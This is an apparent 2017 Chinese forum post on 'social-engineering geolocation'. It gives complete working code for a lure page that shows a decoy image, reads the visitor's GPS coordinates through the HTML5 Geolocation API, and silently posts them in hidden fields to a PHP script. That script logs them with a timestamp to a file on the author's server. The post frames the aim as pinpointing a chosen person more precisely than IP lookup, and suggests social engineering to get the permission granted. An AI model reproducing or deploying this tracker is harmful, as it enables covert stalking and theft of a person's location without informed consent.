【技术讨论】社工之经纬度定位

六月 20, 2017

总所周知，我们的IP定位也只是定位公网IP，精准度大部分不是很准，甚至有些时候不能很好的获取对方的位置，以下的技术，我自己试了，精准度在50以内，

此技术利用了HTML5 Geolocation API

直接调用方法即可，即使是4G网页可以精准定位

最原始代码如下，我自己加了一些
编写index.php页面代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>

<img src="1.png" alt="" width="100%;">
    <script>
      var geol;
        try {
            if (typeof(navigator.geolocation) == 'undefined') {
                geol = google.gears.factory.create('beta.geolocation');
            } else {
                geol = navigator.geolocation;
            }
        } catch (error) {
            //alert(error.message);
        }

        if (geol) {
            geol.getCurrentPosition(function(position) {

        var nowLatitude = position.coords.latitude;
        var nowLongitude = position.coords.longitude;
         //以上是固定代码，获取经度纬度

    alert("纬度：" + nowLatitude + "，经度：" + nowLongitude);  //弹出经度纬度的坐标

                    function new_form(){
            var f=document.createElement("form");
            document.body.appendChild(f);
            f.method="post";
            return f;
        }    //定义函数，创建form

        function create_elements(eForm,eName,eValue){
            var e=document.createElement("input");
            eForm.appendChild(e);
            e.type="text";
            e.name=eName;
            if(!document.all){e.style.display="none"}else{
                e.style.display="block";
                e.style.width="0px";
                e.style.height="0px";
            }
            e.value=eValue;
            return e;
        }

//这段代码意思就是定义方法，有两个input 他们的值分别是经度纬度的值

        var _f=new_form();
        create_elements(_f,"username",nowLatitude) // 创建form中的input对象
        create_elements(_f,"password",nowLongitude);

        _f.action="geolocation2.php";
        _f.submit();   //提交

//表单自提交发送到geolocation2.php页面

    }, function(error) {
        switch(error.code){
        case error.TIMEOUT :
            //alert("连接超时，请重试");
            break;
        case error.PERMISSION_DENIED :
            //alert("您拒绝了使用位置共享服务，查询已取消");
            break;
        case error.POSITION_UNAVAILABLE :
            //alert("非常抱歉，我们暂时无法通过浏览器获取您的位置信息");
            break;
        }
    }, {timeout:10000});    //设置十秒超时

        }
//设置连接超时的报错

  </script>
</body>
</html>

然后来写接受页面 geolocation2.php 的代码

<?php
@$time=date('Y-m-d H:i:s',time());  //获取当前时间
$nowLatitude="纬度 ".$_POST['username'];    //接受上个页面传过来的参数（经度坐标）
$nowlongitude="经度 ".$_POST['password']."   ------时间是".$time."\r\n";;    //接受上个页面传过来的参数（纬度坐标）
$fp=fopen("geo.txt", "a+");  //创建一个geo.txt文件
fwrite($fp, $nowLatitude);   //把经度写入到geo.txt里
fwrite($fp, $nowlongitude);   //把纬度写入到geo.txt里

?>

注意点：对方必须点击授权以后才能拿到对方的经度纬度（这个缺点可以结合社工实现）

现在来做个小测试

假设让对方访问

让对方访问我们的站点，他的页面上会显示它自己的经度，纬度，并且经度纬度会保存在我们的站点数据里